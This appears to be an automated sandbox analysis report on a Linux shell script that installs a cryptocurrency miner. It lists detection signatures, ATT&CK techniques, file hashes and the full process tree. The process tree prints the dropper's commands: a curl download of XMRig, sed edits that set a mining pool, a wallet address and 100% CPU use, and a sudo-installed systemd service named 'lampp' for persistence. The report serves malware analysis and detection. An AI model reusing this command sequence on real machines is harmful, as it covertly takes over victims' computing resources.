Analysis

  • max time kernel
    1s
  • max time network
    132s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 11:56

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1399
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1402
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1403
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1406
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1407
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1448
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
              • Reads runtime system information
              PID:1449
              • /usr/local/sbin/gzip
                gzip -d
                3⤵
                  PID:1450
                • /usr/local/bin/gzip
                  gzip -d
                  3⤵
                    PID:1450
                  • /usr/sbin/gzip
                    gzip -d
                    3⤵
                      PID:1450
                    • /usr/bin/gzip
                      gzip -d
                      3⤵
                        PID:1450
                    • /usr/bin/rm
                      2⤵
                        PID:1451
                      • /usr/bin/sed
                        sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                        2⤵
                        • Reads runtime system information
                        PID:1452
                      • /root/lampp/xmrig
                        /root/lampp/xmrig --help
                        2⤵
                        • Executes dropped EXE
                        • Checks hardware identifiers (DMI)
                        • Reads hardware information
                        • Checks CPU configuration
                        • Reads CPU attributes
                        • Enumerates kernel/hardware configuration
                        PID:1453
                      • /usr/bin/sed
                        sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                        2⤵
                          PID:1458
                        • /usr/bin/cut
                          cut -f1 -d.
                          2⤵
                            PID:1457
                          • /usr/bin/hostname
                            hostname
                            2⤵
                              PID:1456
                            • /usr/bin/sed
                              sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                              2⤵
                                PID:1459
                              • /usr/bin/sed
                                sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                2⤵
                                  PID:1460
                                • /usr/bin/sed
                                  sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2004-amd64-20240508-en-3\",/" /root/lampp/config.json
                                  2⤵
                                    PID:1461
                                  • /usr/bin/sed
                                    sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                    2⤵
                                    • Reads runtime system information
                                    PID:1462
                                  • /usr/bin/sed
                                    sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                    2⤵
                                    • Reads runtime system information
                                    PID:1463
                                  • /usr/bin/sed
                                    sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                    2⤵
                                      PID:1464
                                    • /usr/bin/sed
                                      sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                      2⤵
                                        PID:1465
                                      • /usr/bin/cp
                                        cp /root/lampp/config.json /root/lampp/config_background.json
                                        2⤵
                                          PID:1466
                                        • /usr/bin/sed
                                          sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                          2⤵
                                            PID:1467
                                          • /usr/bin/cat
                                            cat
                                            2⤵
                                              PID:1468
                                            • /usr/bin/chmod
                                              chmod +x /root/lampp/miner.sh
                                              2⤵
                                                PID:1469
                                              • /usr/bin/sudo
                                                sudo -n true
                                                2⤵
                                                • Reads runtime system information
                                                PID:1470
                                                • /usr/bin/true
                                                  true
                                                  3⤵
                                                    PID:1471
                                                • /usr/bin/awk
                                                  awk "{print \$2}"
                                                  2⤵
                                                    PID:1474
                                                  • /usr/bin/grep
                                                    grep MemTotal /proc/meminfo
                                                    2⤵
                                                      PID:1473
                                                    • /usr/bin/cat
                                                      cat
                                                      2⤵
                                                        PID:1475
                                                      • /usr/bin/sudo
                                                        sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                        2⤵
                                                          PID:1476
                                                          • /usr/bin/mv
                                                            mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                            3⤵
                                                              PID:1477
                                                          • /usr/bin/sudo
                                                            sudo killall xmrig
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1478
                                                            • /usr/bin/killall
                                                              killall xmrig
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:1479
                                                          • /usr/bin/sudo
                                                            sudo systemctl daemon-reload
                                                            2⤵
                                                              PID:1480
                                                              • /usr/bin/systemctl
                                                                systemctl daemon-reload
                                                                3⤵
                                                                • Reads EFI boot settings
                                                                • Enumerates kernel/hardware configuration
                                                                • Reads runtime system information
                                                                PID:1481
                                                            • /usr/bin/sudo
                                                              sudo systemctl enable lampp.service
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:1521
                                                              • /usr/bin/systemctl
                                                                systemctl enable lampp.service
                                                                3⤵
                                                                • Reads EFI boot settings
                                                                • Enumerates kernel/hardware configuration
                                                                • Reads runtime system information
                                                                PID:1522
                                                            • /usr/bin/sudo
                                                              sudo systemctl start lampp.service
                                                              2⤵
                                                                PID:1548
                                                                • /usr/bin/systemctl
                                                                  systemctl start lampp.service
                                                                  3⤵
                                                                  • Reads EFI boot settings
                                                                  • Enumerates kernel/hardware configuration
                                                                  PID:1549

                                                            Network

                                                            MITRE ATT&CK Matrix ATT&CK v13

                                                            Defense Evasion

                                                            Virtualization/Sandbox Evasion

                                                            2
                                                            T1497

                                                            Discovery

                                                            Virtualization/Sandbox Evasion

                                                            2
                                                            T1497

                                                            System Information Discovery

                                                            3
                                                            T1082

                                                            Command and Control

                                                            Web Service

                                                            1
                                                            T1102

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • /root/lampp/config.json
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              f3294129e6b76283965ad86a815bf383

                                                              SHA1

                                                              5fe0ab538f86962efe82cb13fc2da745610740af

                                                              SHA256

                                                              578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                              SHA512

                                                              07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                            • /root/lampp/sedAStVi0
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              9550568ada4e5b0f19f8f0796c696e62

                                                              SHA1

                                                              1bd1a243fa9e6af167e3f3cd66a8a64663fe62ff

                                                              SHA256

                                                              9b810ce50d60d6d446a84b0733359fa0ffaf280e4363ba8dd79925b009696c98

                                                              SHA512

                                                              93ec5b077e617b5503a661e8045f1e95bbba735ba968efa8c0062551f26cbb3f8e21b78b9fff2775eaeacd0f2f749834a6124e2b62c434a14c61ec62cf6a095b

                                                            • /root/lampp/sedPgQp39
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              16c5243c415de36eb22164a4586047c7

                                                              SHA1

                                                              8e286c76f2f3ea23dcfc321acac37082bf867865

                                                              SHA256

                                                              9548bb2cf98aba1953a53eba8a597d216db4289b4eca78692fc92dfcc76b5490

                                                              SHA512

                                                              cd76985c551ae8c7e6be745705f7718a5ad6e5df512e3299a3c4d0d047b57e838d1ab0535c8d8caca2f0711223dd1bf7095394358040d4d09c7e5b6c101efba5

                                                            • /root/lampp/sedQBGHty
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              d489ddbbb83271e967b8af615d17d3c7

                                                              SHA1

                                                              f0394a367a60e9727269882154098dec802774ef

                                                              SHA256

                                                              5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                              SHA512

                                                              aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                            • /root/lampp/sedUlzLsT
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              6af650ce0c834aee6266c05e0efb608d

                                                              SHA1

                                                              4808066d70c055b73f5de79b857702915d8f499c

                                                              SHA256

                                                              23363a5e8147548eb28f62c8d5c809fd2422f6855b31a867ee8eefcb00078af8

                                                              SHA512

                                                              41cd60aab94a6fb2ecdf910931a937012f34c45ce67ce5f233cdb4253baba4ae08f20deccc2ebfe05d8f9d82aad6fdbaf2d049800df9dfec47fa3e4a3f999bdf

                                                            • /root/lampp/sedd8Gpuz
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              8b11b027dd187104473ee7d661ffe25f

                                                              SHA1

                                                              ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                              SHA256

                                                              984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                              SHA512

                                                              1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                            • /root/lampp/sedq6OMCE
                                                              Filesize

                                                              2KB

                                                              MD5

                                                              ad9ad0b5a198d1428a6d1ca2464c28f6

                                                              SHA1

                                                              d7e7b6e96c3b37de67afbafd12a6a437d8f7403e

                                                              SHA256

                                                              16345bea1b91530322f28b99204e56666044532d2527125651052c28ddea1ba0

                                                              SHA512

                                                              db8f2160f54a411890cf6abf77b2edafc307c1c7036be2acbabcb3f1d47c6b9b52972b21ffc229518f7499f0e48ccf9afc6149bda7523709b9130500af230515

                                                            • /root/lampp/xmrig
                                                              Filesize

                                                              8.4MB

                                                              MD5

                                                              e5a52277c865596d902470e149387226

                                                              SHA1

                                                              a57d2d4b89e9896b10daf8e9ce163d7d9d18c619

                                                              SHA256

                                                              9d2a72e5999bcf85442b599999c0f0201d702ef813633327a04921e18a4e31c5

                                                              SHA512

                                                              2a589e662bc68b7403ae6933ed943eed3cfe0bc710ad9c8354016a3d5809715f77bac7465aa68b85af81a8bc44cd059876a3508d931ff23259ac5cbd3be0d97d

                                                            • /tmp/lampp.service
                                                              Filesize

                                                              177B

                                                              MD5

                                                              540c899b78585827e807a62f7345eaf5

                                                              SHA1

                                                              8bf3146889c6b15811f226bff9fbca24d184eff2

                                                              SHA256

                                                              b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                              SHA512

                                                              0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                            • /tmp/sh-thd.oJnB7d
                                                              Filesize

                                                              253B

                                                              MD5

                                                              f96a321a262287ceae164f23f232ed9c

                                                              SHA1

                                                              d1eeab41f244b42377afd7cc3de7428736162b24

                                                              SHA256

                                                              f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                              SHA512

                                                              75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                            • /tmp/xmrig.tar.gz
                                                              Filesize

                                                              3.4MB

                                                              MD5

                                                              e003a3ec8bdd61151a61cadf950502c4

                                                              SHA1

                                                              2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                              SHA256

                                                              80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                              SHA512

                                                              ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9